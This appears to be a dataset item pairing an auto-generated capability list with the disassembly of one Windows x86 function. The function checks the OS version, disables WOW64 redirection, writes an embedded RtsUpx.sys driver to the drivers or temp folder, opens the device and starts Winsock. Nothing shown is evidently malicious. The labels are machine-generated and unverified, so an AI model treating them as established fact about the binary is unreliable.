Function at 0x41da20
Capabilities:
Check os version
Copy file
Delete directory
Delete file
Get common file path
Get system information on windows
Initialize winsock library
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x938
mov eax, dword [0x59a4d4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
mov dword [ebp - 0x908], edi
mov dword [ebp - 0x90c], edi
mov dword [ebp - 0x904], edi
cmp dword [0x59c508], edi
je 0x41da62
lea eax, [edi + 1]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00514760
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x76c]
push eax
xor esi, esi
mov dword [ebp - 0x76c], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x41da8a
cmp dword [ebp - 0x768], 6
sbb esi, esi
inc esi
push str.IsWow64Process
push str.kernel32
mov dword [0x59c518], esi
mov dword [ebp - 0x900], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [0x59c504], eax
cmp eax, edi
je 0x41dad0
lea ecx, [ebp - 0x900]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x59c504]
test eax, eax
je 0x41dad6
mov eax, dword [ebp - 0x900]
push ebx
mov dword [0x59c510], eax
cmp eax, edi
je 0x41db5a
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
mov dword [ebp - 0x900], ebx
cmp ebx, edi
je 0x41deb5
push str.Wow64DisableWow64FsRedirection
push ebx
call esi
push str.Wow64RevertWow64FsRedirection
push ebx
mov edi, eax
call esi
mov dword [ebp - 0x904], eax
test edi, edi
je 0x41deae
test eax, eax
je 0x41deae
lea edx, [ebp - 0x908]
push edx
call edi
test eax, eax
je 0x41deae
xor edi, edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
cmp eax, edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
jne 0x41db62
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
jmp 0x41dd82
mov ebx, dword [ebp - 0x900]
jmp 0x41db36
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x104
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.driversRtsUpx.sys
push 0x104
lea ecx, [ebp - 0x248]
push ecx
call fcn.0041d920
push 0
push 0
push 3
push 0
push 0
push connect
push str.C:RtsUpx.sys
call edi
cmp eax, 0xffffffff
je 0x41dbd1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea edx, [ebp - 0x248]
push edx
push str.C:RtsUpx.sys
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov esi, 1
jmp 0x41dd2f
lea eax, [ebp - 0x450]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
call fcn.0051635f
push eax
call fcn.005166a8
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str.RtsUpx_d.sys
lea ecx, [ebp - 0x40]
push 0x1e
push ecx
call fcn.00417dc0
add esp, 0x10
lea edx, [ebp - 0x40]
push edx
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.0041d920
push 0
push 0
push 2
push 0
push 3
push 0x40000000
lea ecx, [ebp - 0x450]
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x41dc4c
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x41de98
mov edx, dword [0x5880c8]
lea eax, [ebp - 0x938]
push eax
mov ebx, 0x5880d0
mov dword [ebp - 0x910], edx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [ebp - 0x938], 9
jne 0x41dc80
mov eax, dword [0x5880cc]
mov ebx, 0x58e950
jmp 0x41dc86
mov eax, dword [ebp - 0x910]
push 0
lea ecx, [ebp - 0x914]
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41dcb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x900]
jmp 0x41de98
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x248]
push edx
call fcn.0041c980
add esp, 4
test eax, eax
je 0x41dce9
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x450]
push ecx
call fcn.0041cab0
add esp, 8
cmp eax, 1
jne 0x41dd09
push 0
lea edx, [ebp - 0x248]
push edx
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 0x90c], 1
lea ecx, [ebp - 0x450]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x658]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov esi, dword [ebp - 0x90c]
mov ebx, dword [ebp - 0x900]
lea eax, [ebp - 0x450]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.RtsUpx.flag
push 0x104
lea ecx, [ebp - 0x450]
push ecx
call fcn.0041d920
lea edx, [ebp - 0x450]
push edx
call fcn.0041c9b0
push eax
lea eax, [ebp - 0x248]
push esi
push eax
call fcn.0041c6f0
add esp, 0x10
test eax, eax
je 0x41de98
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x595fc8], 0xffffffff
jne 0x41de02
lea ecx, [ebp - 0x248]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.RtsUpx.flag
push 0x104
lea edx, [ebp - 0x248]
push edx
call fcn.0041d920
lea eax, [ebp - 0x248]
push eax
call fcn.0041c9b0
add esp, 4
push 0
test eax, eax
jne 0x41dde0
push 0x4000100
push 4
push eax
push 7
push 0xc0010000
lea ecx, [ebp - 0x248]
push ecx
jmp 0x41ddf4
push 0
push 3
push 0
push 7
push connect
lea edx, [ebp - 0x248]
push edx
call edi
mov dword [0x595fc8], eax
cmp eax, 0xffffffff
jne 0x41de02
call esi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..RtsUpx
call edi
test eax, eax
je 0x41de98
cmp eax, 0xffffffff
je 0x41de98
cmp dword [0x59c510], 0
mov dword [0x59c508], eax
je 0x41de43
mov eax, dword [ebp - 0x908]
push eax
call dword [ebp - 0x904]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x53cf44
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
lea ecx, [ebp - 0x8fc]
push ecx
push 0x202
mov dword [0x59c514], eax
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x41de98
mov eax, dword [ebp - 0x8fc]
cmp al, 2
jne 0x41de93
shr eax, 8
cmp al, 2
jne 0x41de93
pop ebx
pop esi
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00514760
mov esp, ebp
pop ebp
ret
call sub.WS2_32.dll_WSACleanup
cmp dword [0x59c510], 0
je 0x41deb5
mov edx, dword [ebp - 0x908]
push edx
call dword [ebp - 0x904]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
pop ebx
pop esi
xor ecx, ebp
xor eax, eax
pop edi
call fcn.00514760
mov esp, ebp
pop ebp
ret